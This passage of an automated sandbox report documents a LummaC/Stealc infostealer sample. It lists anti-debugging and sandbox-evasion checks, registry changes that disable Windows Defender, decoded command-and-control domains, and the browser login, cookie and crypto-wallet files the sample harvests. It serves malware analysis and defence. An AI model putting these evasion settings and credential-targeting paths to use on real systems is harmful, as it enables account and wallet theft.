Source: ABnDy7rLFS.exe, 00000000.00000003.1453025737.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: ABnDy7rLFS.exe, 00000000.00000003.1453025737.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: ABnDy7rLFS.exe, 00000000.00000003.1453025737.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x

Source: C:\Users\user\Desktop\ABnDy7rLFS.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\ABnDy7rLFS.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Thread information set: HideFromDebugger	Jump to behavior

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe

Code function: 3_2_0021E142 Start: 0021E199 End: 0021E193

3_2_0021E142

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe

Code function: 3_2_0021E134 rdtsc

3_2_0021E134

Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe

Code function: 3_2_00233D4C LdrInitializeThunk,

3_2_00233D4C

Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: A97774QJFYJNGVVMCXLHU5PMQ02KM.exe PID: 2984, type: MEMORYSTR

LummaC encrypted strings found

Source: ABnDy7rLFS.exe, 00000000.00000003.1380675840.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: bashfulacid.lat
Source: ABnDy7rLFS.exe, 00000000.00000003.1380675840.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: tentabatte.lat
Source: ABnDy7rLFS.exe, 00000000.00000003.1380675840.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: curverpluch.lat
Source: ABnDy7rLFS.exe, 00000000.00000003.1380675840.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: talkynicer.lat
Source: ABnDy7rLFS.exe, 00000000.00000003.1380675840.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: shapestickyr.lat
Source: ABnDy7rLFS.exe, 00000000.00000003.1380675840.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: manyrestro.lat
Source: ABnDy7rLFS.exe, 00000000.00000003.1380675840.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: slipperyloo.lat
Source: ABnDy7rLFS.exe, 00000000.00000003.1380675840.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: wordyfindy.lat
Source: ABnDy7rLFS.exe, 00000000.00000003.1380675840.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: observerfry.lat

Source: A97774QJFYJNGVVMCXLHU5PMQ02KM.exe, 00000004.00000002.1781441798.0000000000EED000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Program Manager
Source: HIX4V53EFUK0JCGHMC1S24CIQ.exe, 00000003.00000002.1829324207.0000000000269000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: WProgram Manager

Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\ABnDy7rLFS.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: ABnDy7rLFS.exe, ABnDy7rLFS.exe, 00000000.00000003.1552764498.0000000000E27000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1556855024.000000000575E000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1556589222.000000000575E000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1553211494.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1552906796.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\ABnDy7rLFS.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: ABnDy7rLFS.exe PID: 4608, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000004.00000003.1740081879.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1782421150.000000000114E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1780569454.0000000000AD1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: A97774QJFYJNGVVMCXLHU5PMQ02KM.exe PID: 2984, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: ABnDy7rLFS.exe	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: ABnDy7rLFS.exe	String found in binary or memory: Wallets/ElectronCash
Source: ABnDy7rLFS.exe	String found in binary or memory: Wallets/JAXX New Version
Source: ABnDy7rLFS.exe	String found in binary or memory: window-state.json
Source: ABnDy7rLFS.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: ABnDy7rLFS.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: ABnDy7rLFS.exe	String found in binary or memory: %appdata%\Ethereum
Source: ABnDy7rLFS.exe, 00000000.00000003.1501493873.0000000000E01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: ABnDy7rLFS.exe, 00000000.00000003.1501493873.0000000000E01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
